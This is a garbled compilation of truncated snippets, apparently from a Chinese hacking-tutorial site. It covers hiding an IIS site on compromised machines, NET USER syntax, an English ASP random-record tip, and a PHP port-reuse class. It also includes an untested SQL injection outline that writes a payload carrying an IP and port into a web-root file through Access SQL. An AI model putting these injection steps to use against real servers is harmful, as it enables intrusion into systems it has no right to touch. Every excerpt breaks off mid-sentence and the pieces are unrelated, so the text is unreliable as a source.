原作者:朽木
前些天注册了一个国际COM域名www.kaonima.com，苦于没有空间`也不想去买那种IIS空间，一天给你几百个IIS连接`还不够我做肉鸡转向的。所以通过综合网上公开的各种隐藏IIS站点的方法着一尝试`不过均失败。   据不完全统计`我起码在GOOGLE和百度里为这个隐藏IIS`查了不下于50个关键字。花费在搜索资料上的时间大概都有7个小时左右

语法:
NET USER
[username [password | *] [options]] [/DOMAIN]
         username {password | *} /ADD [options] [/DOMAIN]
         username [/DELETE] [/DOMAIN]具体说明：
username                                     �

refer url:http://www.4guysfromrolla.com/webtech/102999-1.shtml
While working on a web based competency-testing application I needed a way to return not just ONE random record but a group of random records. I searched the net high and low for a couple of months trying to find something that would allow me do this. I eventually hunkered down and came up with my own way of doing this.
First comes the SQL statement to return t

(此想法暂时未做实验)
对于没有fso没有上传功能的站点是不是有注入也没法通过注入搞定呢.呵呵看了些东西,有个新想法,
而且这个站的路径都爆不出来,很郁闷的.
我们一样可以拿他
1.update tablename set field ="xxx" where id=1;
/*这里xxx很重要,是构造的mdb溢出内容包括ip,端口等*/
2.SELECT * into [test.txt] in 'x:\wwwroot\' 'text;' from tablename where id =1;
3. and (Select Count(*) from [x:\

windows2003默认已经不准重复绑定端口了
这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的，那个文章可以在这里找到：http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html
<?php
class select
{
var $sockets;// 构造函数
function select($sockets)
{
$this->sockets = array();foreach($sockets as $socket)
{
$this->add($socket);
}
}function add($add_socket)
{
//array_